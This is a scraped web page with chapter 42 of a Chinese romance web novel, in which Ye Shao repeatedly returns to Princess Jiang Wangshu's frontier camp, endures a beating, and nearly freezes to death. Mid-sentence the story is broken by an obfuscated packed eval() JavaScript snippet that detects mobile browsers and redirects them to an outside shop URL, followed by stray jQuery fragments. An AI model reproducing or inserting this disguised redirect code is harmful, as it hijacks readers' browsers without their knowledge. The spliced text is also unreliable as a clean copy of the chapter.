默认冷灰
24号文字
方正启体

42. 常存抱柱信

作者:相逢春暮本书字数:K更新时间:
    成都府距离禁门关足有二百里,纵马疾驰也要走上两天,姜望舒满以为这次叶韶绝对不会回来了,结果第四天头上,叶韶又出现在了禁门关。


    这次姜望舒是真的火了,她抓紧叶韶的领子,把那个清瘦的身子摇的像是风中树叶一样乱颤:“叶韶,你到底想怎么样?”


    叶韶被这样粗暴的对待,反而开心一笑。比起之前她对他视而不见,被她推搡几下已经算是一种奖励:“殿下,臣就是想待在您身边。”


    他那向来清俊淡然的面孔,忽然染上极度的执拗:“无论殿下是打是骂,还是赶臣走,臣都永远都不会离开您的。”


    他不提则已,一提起这件事,姜望舒更是七窍生烟:“你还有脸提?当时是你闹着要走的,现在又跑到这里装什么蒜!”


    叶韶黯然,却并未否认,他握住姜望舒的手腕,恳求道:“过去的事情是臣错了,请殿下给臣一个机会,臣会弥补您的。”


    “少做梦了!你以为我是什么人,由着你想来就来,想走就走?”姜望舒抖着手,好像在甩什么脏东西一样,把叶韶甩到一边,“王德江!这次把他给我送出蜀地,要是再让他跑回来,我拿你是问!”


    叶韶猛然抬起头:“殿下!您这样做是没用的,您还不明白吗,就算您把臣送到天涯海角,臣也一样会回来找您的!”


    “你以为这样就能达成目的?”姜望舒嘴角抿成一个锐利的弧度:“叶韶,本宫警告你,如果下次再让本宫见到你,我就要你的命,你不怕死的话,尽管试试!”


    这一次,姜望舒清净了十天。虽然无人打扰,但她心里始终烦躁不安。


    她了解叶韶那惊人的执拗,之前他要走,她留不住;现在他要留下,姜望舒亦是难以阻挡。


    该死的,为什么他从前没有这份决心?为什么要在她决定放下的时候,反而来这么一出?


    若叶韶真的又回来,她……怎么办?真的要他的命吗?


    她估算日程,今天已经是腊月十四,出蜀地需要五天,如果他要回来,今天就回到了。


    一整天,她心神不宁,操练时总是走神,眼睛老忍不住往军寨门前瞟,一旦发现那里没有叶韶的身影,就会松一口气。


    可同时,她心里又闷闷的不舒服,连她也说不清楚是为什么。


    那天夜里,她始终没睡着,耳朵支着听外面的动静,稍有风吹草动,就疑心是他来了,探头出去,却只见白雪满山,月明星稀,风声呼啸,吹动金柝。


    更漏点滴,碳炉成烬,不知不觉,已是天明时分。


    叶韶并没有来。


    看来他放弃了,也对,明知会失败还去尝试的话,就不是叶韶了。她怎么鬼迷心窍,真信了他会回来送死?


    姜望舒只觉心中失望更上一层,不光是对叶韶的,更是对自己的。她为自己有那么一个瞬间,真的相信叶韶会回来而羞耻。


    忘掉他忘掉他!谁再想起叶韶,谁就是头号傻瓜!


    她抱着这样的决心,熬过了一个白天,谁知夕阳时分,营地又喧哗起来。


    姜望舒的心一跳,几步窜出门外,果然看见叶韶站在门前。只是浑身污泥,发散鬓乱,脸颊带有血痕,狼狈至极。


    禁门关在山谷之中,冬日难行,看样子,他这是赶路时不慎摔进哪个沟里了,怪不得昨天没有来。


    想到这里,她不禁有些后怕,这种天气若掉进雪沟,是很难爬上来的,运气不好冻死在沟里,到明年开春都不会有人发现。叶韶……这是何必?


    王德江正气急败坏地拉着他骂道:“你这赖皮货色,好生不识抬举!殿下说了让你滚蛋,你听不懂人话吗?做什么一趟一趟往回跑,不知道会连累我吗!”


    叶韶任他揪扯,只道:“我不会走的,我就是为殿下而来,陛下在哪,我就在哪,我答应过殿下的!”


    王德江只觉他不可理喻,懒得跟他废话,一把拖住叶韶,就往外走去,意图把他丢出大门。


    谁知道,这个文文弱弱的小白脸见自己要被赶出去,居然反抗起来,一把抱住了大门旁的旗杆子,王德江用力拖拽,他死也不撒手。


    王德江烦躁不已,若是一会儿殿下来了,肯定要拿他是问。他是个粗人,当下不假思索,一拳便擂在叶韶背上:“撒手!要不然别怪老子不客气!”


    叶韶闷哼一声,额头见汗,却将那旗杆抱得更紧了:“要打便打,想让我走,不可能!”


    王德江真的急了,不由分说,几记老拳便打在叶韶身上。按他的力道,砖头也能打断两块,可眼前这个小白脸不知道哪里来的韧劲,竟是硬生生抗了下来,并不放手。


    叶韶不仅不放手,反而高声呼喊起姜望舒来:“殿下!臣又回来找你了,你休想甩开我!因为……”


    王德江一记重拳打来,正中叶韶的肚腹,叶韶终于忍不住,喷出一口血来,登时染红了雪地,他的话语也为之一滞:


    “……因为你是我最喜欢的人!从今以后,臣永远不会离开您!”


    姜望舒望着眼前的一幕,登时心中大震。


    叶韶吐了血,反而畅快地笑了起来:“殿下,臣早就想要这么说的,可是臣一直不敢,您说得对,臣是胆小鬼……”


    “可臣现在,想要勇敢一次!殿下,哪怕已经来不及了,臣还是想为您变得勇敢!”


    他话还没说完,王德江便一拳打在他脸上:“闭嘴!”


    这一拳打得叶韶半边脸颊登时肿了起来,姜望舒终于忍不住,跑了过来:“够了!别再打了!”


    王德江立刻收手,叶韶顶着青红交错的脸,连眼睛都快睁不开了,却在见到姜望舒的时候,依然绽开一个欣喜的笑容:


    “殿下,你来了。”


    姜望舒望着他,心中五味杂陈,说出口的第一句话,居然是:“你有什么毛病?挨打都不知道躲的吗?”


    叶韶眼睛一亮,迫不及待地反问道:“殿下,您是在关心臣吗?”


    姜望舒一窒,怒道:“少做梦!”


    她不再看他,只是吩咐士兵们:“把他给我拖出军营,谁也不准把他放进来!”


    两个五大三粗的士兵立刻领命上前,去掰叶韶的手,叶韶咬着牙扣紧手臂,两个士兵一时间竟然奈何他不得。


    姜望舒气道:“叶韶,你是不是以为本宫真的不敢杀你?”


    她抽出腰间长剑,抵在叶韶手臂上:“再不识好歹,本宫就把你手臂砍下来,看你松不松手!”


    叶韶扬眉一笑,纵然一身狼狈不堪,依然焕发出惊人的风姿:“殿下,就算您把臣的手斩下来,再把臣送走,臣还有一双脚,臣依然会回来找您。”


    “即使您把臣的脚一块斩下来,臣也不会离开的,听闻禁门关有位孟神医,正在研究断肢重植之术,臣会让他把手脚都缝回来,然后爬着来见您。”


    他伸手握住剑尖,抵在自己的喉咙上:“如果您真的不想见臣,何必那么麻烦?一剑下去,一了百了,臣绝不反抗。反正若不能在您身边,臣生不如死……”


    姜望舒一惊,连忙想要后撤,叶韶敏感地发现了她的动作,轻柔一笑:“殿下,您是舍不得动手了吗?”


    姜望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132704|196238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    舒的手在颤抖,她猛地往前一送剑尖,划破叶韶颈边皮肤,一丝殷红鲜血流淌下来:“你当真不怕死吗?”


    叶韶丝毫未动,眼中流淌着脉脉深情:“殿下忘了,臣早就不怕死了。”


    姜望舒无可避免地被他的话勾起回忆,去年冬日,他误会她死了,亦是毫不迟疑地拔剑自刎……


    那一刻,姜望舒知道,他是真的决定与她生死相随的。


    正因此,她会因他的怯懦伤心,因他的逃避负气,却还是没有办法下手伤害他。


    她再拿不稳剑,咬牙收回兵器,扔下硬邦邦地一句话:“好!你爱在这待着,也由你。大伙儿听好了,谁也不准让他进帐,冻死了正好,也省了本宫的心!”


    她这话不是说笑的,此时正是寒冬腊月,滴水成冰,无论是谁在雪地里呆一夜,都会冻死。


    待到叶韶冻得受不了,自然会昏晕过去,到那时候再叫人送走他好了。


    冬日夜长,一个时辰后,天已经完全黑下来,朔风呼呼,吹得人心里一紧一紧。


    姜望舒不愿意回自己营帐,而是跑到神医营帐里,那里正对着军营大门,能看到叶韶。加之她现在心里乱的很,有人说几句话,总好过一个人胡思乱想。


    孟川芎抱着小手炉嗑瓜子:“不是说要让他自个儿冻死吗?那还有什么好看,你倒头睡一夜,我保证明天早上他准死得硬邦邦的。”


    “我说说而已……”姜望舒靠在火炉边,烦恼地叹口气,“他再怎么说,也辅佐了我这些年,没有情分还有苦劳呢,怎能让他真的死了。”


    孟川芎吐掉瓜子皮,凉凉道:“哟,到底是念着苦劳还是念着情分啊?”


    姜望舒怒道:“跟你有什么关系,吃瓜子还堵不上你的嘴。”


    孟川芎也不恼,只笑眯眯道:“要是念着情分,我就告诉你一件事;若念着苦劳,我就不说了。”


    姜望舒烦得很:“有话就说,少神神秘秘的。”


    孟川芎哼一声:“冻死需要一整夜,但冻掉点零件,用不着那么久。尤其他在那里站着不动,血凉得快,我估摸着这会儿已经冻掉了些耳朵、手指头了。”


    姜望舒一骨碌从炉边爬起来,怒道:“不早说!”


    说罢,她急匆匆一掀帘子,向着叶韶跑去。


    孟川芎放下瓜子,吩咐柴胡把营帐收拾一番,准备热水,他有预感,自己今夜又要通宵伺候病号了。


    叶韶依然站在旗杆旁边,宛如生了根一样。


    朔风如刀,扑面打来,他一抖身子,只觉得脖颈处的血迹已经成了暗红的冰晶,一抖便碎了。


    天很冷,他的手脚先是觉得疼,后来便觉得阵阵刺痒,到现在,已经完全没有知觉。


    如果这就是死亡的滋味,那也不算难熬,总比活在世上,却不能再见到她的笑脸好。


    曾经殿下是多么爱笑,尤其对着他的时候,陛下总是笑着的,微笑、大笑、坏笑、得逞的笑、淘气的笑……


    她的笑容那么多那么多,最后定格在他脑海里的,是她在给与许诺时,羞涩的笑容。


    那时,她在等着他求亲呢。


    是他不好,他辜负了她的心,所以她再也不对他笑了。


    这是他的报应。


    叶韶的眼睛一点点合上了,他觉得有些困。他知道,冻死的人都是先感到困倦,然后才会死去,这么说来,他现在马上就要死了。


    他仰头,天上恰逢月满,光华皎洁。


    啊,是了,今天是腊月十五,他的生辰呢。


    可惜,已经没人记得啦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)